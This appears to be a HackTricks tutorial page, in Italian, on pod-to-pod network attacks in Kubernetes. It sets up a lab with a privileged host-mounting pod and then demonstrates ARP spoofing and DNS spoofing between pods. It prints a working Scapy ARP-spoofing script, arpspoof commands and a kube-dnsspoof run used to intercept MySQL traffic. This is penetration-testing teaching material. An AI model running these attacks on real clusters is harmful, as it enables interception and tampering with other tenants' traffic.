Kubernetes Network Attacks

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Introduzione

In Kubernetes, si osserva che un comportamento predefinito permette l'instaurazione di connessioni tra tutti i container presenti sullo stesso nodo. Questo avviene indipendentemente dalle distinzioni dei namespace. Tale connettività si estende fino al Livello 2 (Ethernet). Di conseguenza, questa configurazione potenzialmente espone il sistema a vulnerabilità. In particolare, apre la possibilità per un container malintenzionato di eseguire un attacco di ARP spoofing contro altri container situati sullo stesso nodo. Durante tale attacco, il container malintenzionato può intercettare o modificare in modo ingannevole il traffico di rete destinato ad altri container.

Gli attacchi di ARP spoofing coinvolgono l'attaccante che invia messaggi ARP falsificati (Address Resolution Protocol) su una rete locale. Ciò comporta l'associazione dell'indirizzo MAC dell'attaccante con l'indirizzo IP di un computer o server legittimo sulla rete. Dopo l'esecuzione di successo di un tale attacco, l'attaccante può intercettare, modificare o addirittura interrompere i dati in transito. L'attacco viene eseguito al Livello 2 del modello OSI, motivo per cui la connettività predefinita in Kubernetes a questo livello solleva preoccupazioni sulla sicurezza.

Nello scenario verranno create 4 macchine:

  • ubuntu-pe: Macchina privilegiata per sfuggire al nodo e verificare le metriche (non necessaria per l'attacco)

  • ubuntu-attack: Container malintenzionato nel namespace predefinito

  • ubuntu-victim: Macchina vittima nel namespace kube-system

  • mysql: Macchina vittima nel namespace predefinito

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Networking di base di Kubernetes

Se desideri ulteriori dettagli sugli argomenti di networking introdotti qui, consulta i riferimenti.

ARP

In generale, la rete da pod a pod all'interno del nodo è disponibile tramite un bridge che collega tutti i pod. Questo bridge è chiamato "cbr0". (Alcuni plugin di rete installeranno il proprio bridge.) Il cbr0 può anche gestire la risoluzione ARP (Address Resolution Protocol). Quando un pacchetto in entrata arriva a cbr0, può risolvere l'indirizzo MAC di destinazione utilizzando ARP.

Questo fatto implica che, per impostazione predefinita, ogni pod in esecuzione nello stesso nodo sarà in grado di comunicare con qualsiasi altro pod nello stesso nodo (indipendentemente dal namespace) a livello ethernet (livello 2).

Pertanto, è possibile eseguire attacchi di ARP Spoofing tra i pod nello stesso nodo.

DNS

Negli ambienti Kubernetes di solito troverai 1 (o più) servizi DNS in esecuzione di solito nel namespace kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Nelle informazioni precedenti puoi vedere qualcosa di interessante, l'IP del servizio è 10.96.0.10 ma l'IP del pod in esecuzione del servizio è 172.17.0.2.

Se controlli l'indirizzo DNS all'interno di qualsiasi pod, troverai qualcosa del genere:

cat /etc/resolv.conf
nameserver 10.96.0.10

Tuttavia, il pod non sa come raggiungere quell'indirizzo perché l'intervallo del pod in questo caso è 172.17.0.10/26.

Pertanto, il pod invierà le richieste DNS all'indirizzo 10.96.0.10 che verrà tradotto dal cbr0 in 172.17.0.2.

Ciò significa che una richiesta DNS di un pod verrà sempre inviata al bridge per tradurre l'IP del servizio all'IP del punto finale, anche se il server DNS si trova nella stessa sottorete del pod.

Sapendo questo, e sapendo che gli attacchi ARP sono possibili, un pod in un nodo sarà in grado di intercettare il traffico tra ogni pod nella sottorete e il bridge e modificare le risposte DNS dal server DNS (DNS Spoofing).

Inoltre, se il server DNS si trova nello stesso nodo dell'attaccante, l'attaccante può intercettare tutte le richieste DNS di qualsiasi pod nel cluster (tra il server DNS e il bridge) e modificare le risposte.

ARP Spoofing nei pod nello stesso nodo

Il nostro obiettivo è rubare almeno la comunicazione da ubuntu-victim a mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof è una tecnica di attacco che sfrutta il protocollo ARP (Address Resolution Protocol) per intercettare e manipolare il traffico di rete all'interno di una rete locale. Questo attacco viene utilizzato per eseguire attacchi di tipo Man-in-the-Middle (MITM), in cui l'attaccante si posiziona tra due host legittimi e intercetta e modifica il traffico tra di essi.

L'attacco ARPSpoof funziona inviando falsi pacchetti ARP alla rete locale, in cui l'attaccante si finge da una delle macchine legittime e invia un pacchetto ARP con il proprio indirizzo MAC associato all'indirizzo IP della vittima. Questo fa sì che il traffico destinato alla vittima venga inviato all'attaccante anziché al suo destinatario legittimo.

Per eseguire con successo un attacco ARPSpoof, l'attaccante deve essere in grado di intercettare e inoltrare correttamente il traffico tra le due macchine legittime. Ciò può essere fatto configurando il proprio sistema come un router o utilizzando strumenti come Ettercap o Bettercap.

L'attacco ARPSpoof può essere utilizzato per vari scopi, tra cui il furto di informazioni sensibili, l'iniezione di pacchetti dannosi o la manipolazione del traffico di rete. È importante notare che questo attacco può essere rilevato e prevenuto utilizzando tecniche di sicurezza come l'uso di VLAN, l'implementazione di autenticazione a due fattori e l'uso di crittografia per proteggere il traffico di rete.

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Come già accennato, se comprometti un pod nello stesso nodo del pod del server DNS, puoi fare MitM con ARPSpoofing sul bridge e sul pod DNS e modificare tutte le risposte DNS.

Hai a disposizione un ottimo strumento e tutorial per testare questo su https://github.com/danielsagi/kube-dnsspoof/

Nel nostro scenario, scarica lo strumento nel pod dell'attaccante e crea un **file chiamato hosts ** con i domini che desideri spoofare, come:

cat hosts
google.com. 1.1.1.1

Esegui l'attacco alla macchina ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Se provi a creare il tuo script di DNS spoofing, se modifichi solo la risposta DNS non funzionerà, perché la risposta avrà un IP sorgente l'indirizzo IP del pod malevolo e non verrà accettata. È necessario generare un nuovo pacchetto DNS con l'IP sorgente del DNS a cui la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, che è l'IP del servizio DNS di K8s e non l'IP del server DNS, maggiori informazioni in introduzione).

Catturare il Traffico

Lo strumento Mizu è un semplice ma potente visualizzatore di traffico API per Kubernetes che ti consente di visualizzare tutte le comunicazioni API tra i microservizi per aiutarti a debuggare e risolvere i problemi di regressione. Installa agenti nei pod selezionati e raccoglie le informazioni sul traffico, mostrandotele in un server web. Tuttavia, avrai bisogno di elevate autorizzazioni K8s per farlo (e non è molto stealthy).

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated